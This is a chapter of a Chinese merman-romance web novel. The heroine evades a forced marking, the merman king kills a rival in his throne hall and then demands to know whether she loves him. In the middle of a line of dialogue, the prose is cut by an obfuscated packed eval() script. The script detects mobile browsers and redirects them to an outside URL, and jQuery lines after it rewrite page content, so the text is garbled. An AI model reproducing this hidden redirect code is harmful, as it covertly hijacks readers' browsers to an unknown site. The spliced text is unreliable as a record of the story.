20. 诘问
作品:《怪物们觊觎的她[人外]》 后颈的头发被拨开,温热的呼吸扑了上来。
塞拉维的手扣在甄珠的肩上,微启双唇,半露出独属于Alpha的尖牙。
他想咬自己后颈,甄珠悚然地意识到了这一点。
甄珠本能地感到不适,挣扎了几下想要逃走。
“嘘,乖,别动,”塞拉维轻言细语,凑在她耳畔,“外面到处都是你未婚夫的人,你想被他发现吗?”
甄珠咬牙切齿:“离我远点。”
塞拉维笑了,鼻尖掠过她脖颈,深嗅着她肌肤:“不错,海盐味……我很好奇,你是因为被王上标记过而浑身海盐味,还是你原本的信息素就是海盐味呢?”
甄珠心下一惊。
“你在怀疑什么?”甄珠侧过头,口吻凌厉。
“怀疑很多鲛人都在怀疑的事情,”塞拉维的唇几乎快要贴上她后颈,“甄小姐,你的脖子如此光洁漂亮,没有一道齿痕,你莫非真是Alpha?”
甄珠嗓音沉沉:“之前谈合作的时候,你就已经怀疑我了吧?你要我用肉/体作为报酬,其实只是想查清我究竟是不是Alpha。”
塞拉维的手从肩膀移到了脖子处:“人类的头脑果然好使。”
甄珠一把捏住塞拉维的手腕,她使出了身为Alpha的力量,硬生生把他的手从自己身上挪开:“离我远点,如果基兰在我身上闻到你的信息素味道,你知道后果。”
塞拉维轻笑起来,似有嘲讽意味:“该说你忠贞不渝,还是反复无常呢?明明都已经逃婚,却还想着会回到王上身边。”
甄珠失语了一瞬。
她也不明白为什么自己会下意识地那样想。
不知为何,甄珠心里隐隐有股感觉,她还会再见到基兰。
无论争吵的时候嘴有多硬,欢愉的时候心有多冷,她看着基兰,总是有这样的感觉,海底陆上,只有基兰能让她快乐。
他的千娇百媚、肆意纵情是独属于她的记忆。
甄珠犟道:“你抓了我,不就是要把我送回到基兰那里去?”
冰凉的触感再次贴上后颈,这次是一个更微妙的位置:如果她是Omega的话,那么她的腺体就应该在那个位置。
塞拉维铁了心要弄清她到底是不是Alpha。
塞拉维的手指在试探性地按压:“甄小姐,我要咬你了。”
甄珠抬眸一扫,不远处,一小队正在巡逻的鲛人侍卫正往她的方向而来。
“我要呼救了。”她说。
塞拉维的手指停了一秒,接着又柔声道:“我可以完成你的愿望。”
“我可以把你送回岸上,让你回到人类社会中去。”
“只要你安静地、乖乖地让我咬一口。”
甄珠的呼喊在舌上滚了一滚,终究是咽回了喉咙里,没出声。
多么好的交易啊。
闭紧嘴,忍忍痛,心上最焦急的愿望便轻易达成。
有什么理由去拒绝呢?
基兰或许会因此有点麻烦,但他已用猎杀海怪的超强实力,证明了Omega一样可以登临鲛人王的宝座,不是吗?
而且说到底,自己为什么要在乎基兰呢?
他明明骗了自己那么久,翻来覆去地试探,从未坦诚。
甄珠转了转眼珠,将目光从不远处的鲛人侍卫身上移开,偏向了一边。
她与他的关系,本就是一场交易,以另一场交易来画上句点,甚为合适。
甄珠想好了。
她想得万分妥当,头头是道,成功地把自己说服得彻彻底底。
甄珠长叹一口气,目光一凛,旋即张嘴卯足劲道:“救命啊——!!!”
巡逻的鲛人侍卫们尾巴一顿,循声投来目光。他们很快便意识到出声之人是谁,个个愕然不已,疾风一般疯狂摆尾,游窜而来。
塞拉维惊吓得浑身一颤,伸了手就想去捂住甄珠的嘴,甄珠却比他更快,闪了身就奔逃出去。
如利箭离弦,又如游鱼归池,紫发飘扬的身影冲入巡逻队之中。
“有人想强行标记我。”甄珠护着后颈,一副泫然若泣的脆弱模样。
--
这已经是第二次,甄珠被押到高居王座的基兰之前。
不过这次她多了个伴儿,俊俏的金发鲛人塞拉维同她一起跪在基兰面前。
她已然记不得上次基兰看她的眼神,只深深记着基兰那张倾城绝世的脸,还有突破她认知的漂亮鱼尾。
而现在,基兰凝视着她的目光,甄珠觉得此生都不会忘记。
他眼眸里的东西如蛛网般粘黏,无形地束缚着她手脚,令她动弹不得。
她不经意一瞥,与基兰的金眸撞个满怀,便像触了极寒的坚冰,初觉又冷又硬,尔后又有隐隐的滚烫之感,连带着丝丝疼痛在胸口绽开。
基兰许久都没有说话。
他眸光锐利,在殿中其他鲛人身上一扫,那些鲛人便神情惊变,纷纷低声行礼后退下。
偌大殿中,只余他们三人。
基兰仍没有开口的意思,唯有眼神如锋利刀片,在她和塞拉维身上刮来刺去。
甄珠没来由地就想起她同基兰的亲密时刻,她想起他含在口中的镇纸,蒙在眼上的绸缎,栓在床尾将身体勒出道道红痕的银链,还有颗颗圆润进入体中的珍珠,有一瞬她竟觉得那些东西正施加在自己身上。
此时被他看着,就是这样的感觉。
甄珠有点受不了了。
她仰面,鼓起气力,想要唤他一声,可基兰却冷着脸先发话了:“上来。”
甄珠收回到嘴边的话语,走到基兰身边去。
她不知如何是好,只得在他身侧站着,盯着他看。
“上,来。”基兰不耐烦地敲了敲王座的扶手。
甄珠顿了顿才明白过来基兰的意思。他想要她坐上他的身,就在塞拉维面前。
这是否玩得有点大。
但气氛如此僵硬,基兰又似是气在头上,甄珠不好拒绝。
甄珠强咽了口唾沫,小心翼翼地、轻手轻脚地坐到了基兰尾巴上,为了防止滑下去,她还若即若离地环抱住了基兰。
基兰眉头皱得更深:“要抱,就抱紧点。”
甄珠满足了他的要求。
她也和他靠得更近。
基兰撇着嘴,依旧没能满意。他伸手,如拧起一只小奶猫,以修长的大手紧抓上她的脖颈。他下手是从未有过的用力,好似生怕甄珠真会像猫儿那般,一溜烟就跑了。
甄珠能感觉他在置气。他正像小孩那样,憋着一口闷气。
但小孩并没有多少对情绪的消化力,他很快就会爆发。
基兰缓缓滑动眼珠,目光落在塞拉维身上,“看来塞拉维卿并不如传闻中那般花心多情,分明对本王的未婚妻甚为专一。”
“也罢,怪本王心软,上次提无理要求时本王罚得不够,才让塞拉维卿没有知难而退。”
塞拉维嘲讽冷笑:“我才不会对薄情忘义的人类动情,再说了,两个Alpha是没有前途的。”
基兰灿金的瞳眸泛起锐利的光:“想标记本王未婚妻的下流货色,还栽赃别人薄情忘义?”
凌厉的杀意随着不安分的水波荡漾,在整个殿内铺张开来。
塞拉维却丝毫不惧。
金发的商人咧着嘴,眼里神采几乎是疯狂:“王上,现在可是您在栽赃我。我和您的未婚妻都是Alpha,我要如何标记她呢?”
“要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15436858|166911||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
论下流,恐怕还是王上您更胜一筹。您当初留这女人在身边,无非是为了向格温多琳大人证明人类的贪婪龌龊,可现在呢?虚情竟要变成真爱了,您要和她成婚!”
“呵,想必是此女床上功夫合乎王上口味,王上舍不得放她走了。”
言辞激烈,商人的口才果然不差,仅靠张张嘴皮子便将情绪煽动到极致。
甄珠几乎都能感觉到基兰的怒火要喷涌而出。
可他面色仍只是阴沉着,即便长指甲已深深掐入指腹,迫得指尖泛白。
他没有动怒,他还在忍耐。
似是铁了心求死,塞拉维继续大放厥词道:“再说了,我可没有栽赃这个人类。在您全力筹备婚礼之时,她满脑子想的却是逃离海底。”
“什么样的女人会这样?只有薄情寡义的人类会这样。”
基兰猛地从王座上起身,一道水波翻飞而去,将塞拉维高高掀起,又砸落在地。
基兰游了过去。
鲛人王在嘴角淌血的商人面前停步,居高临下地睥睨他,似是光凭眼神就能将他绞杀成肉沫。
“王上,您看清楚些吧,这女人根本就不爱您,您就别……”
话语戛然而止,低沉的闷响唐突地取代了所有的声音,朵朵血花淋漓绽放,在碧蓝海水中开至荼蘼。
甄珠甚至没看清基兰的动作,塞拉维的上半身便化为一滩血水,唯留那条鳞片闪闪的鱼尾,凄厉地躺在原地。
当他指责基兰下流、虚伪,甚至暗示基兰是Omega的时候,基兰只是愠怒,没有动他一根手指头。
可当他诚恳地提醒基兰,甄珠一直想要逃离海底,很可能并不爱基兰,基兰连一秒都不能忍受,迅雷不及掩耳便夺去他性命。
这是基兰第一次在殿中杀人。
因为一句……极可能就是实话的谏言。
基兰没有在塞拉维的尸身边过多停留,他甩袖摆尾,直直冲着甄珠而来,惨白的面容上没有一丝笑意。
基兰将甄珠拦腰抱起,强硬地将她放到自己的王座上,又死死将她的手腕摁在扶手上。
他的手掌好似柔软绳索,又如钢铁镣铐,将她的手牢牢绑缚、锁死在扶手上,让她动弹不得,只能拘谨地坐在王座上。
甄珠微微抬着头,看基兰举世无双的容颜凑在自己眼前,宛若一尊完美却威严的雕像。
方才杀人,他唇上沾了鲜血,被惨白的肤色衬得艳如胭脂,危险又动魄:“告诉我,你是被人威胁着逃跑的。”
他不想要真相。
一个浪漫的谎言就能将他救赎。
甄珠张张嘴,却说不出任何话,终究只能心虚地低下头去。
“看着我。”基兰的嗓音又疲倦又阴冷,“这里都只有我们两个了,你还是不能把目光放在我身上?”
甄珠艰难地对上他的眼眸。
他眼里的东西不一样了,曾经含着浓烈情愫的瞳仁里,如今多出了一分破败,仿佛是艳阳天突兀飘过的乌云,又如同灼热壁炉里飘飞的灰烬。
他吻上她,野蛮地咬她的唇瓣,温柔地舔她的尖牙,腥甜的血带着铁锈味,横行霸道地钻入她口腔,又在舌尖荡漾。
征服,占据,怜爱,温存,齐齐弥漫在海水之中。
短暂却舒服的一吻后,基兰看向甄珠。
他璀璨的金眸中,痛苦与炙热并存,他是那么纠结,如握着一根滚烫的柴火却不放手,又爱又恼。
“你心虚了。”他直直地指出。
甄珠无言,只觉难堪。
基兰轻轻叹口气,松开她手腕。他搂上她腰身,另一只手则温柔捏她下颌,声音低得几乎听不见:“小珍珠,你……真的爱我吗?”
“哪怕,只有一点?”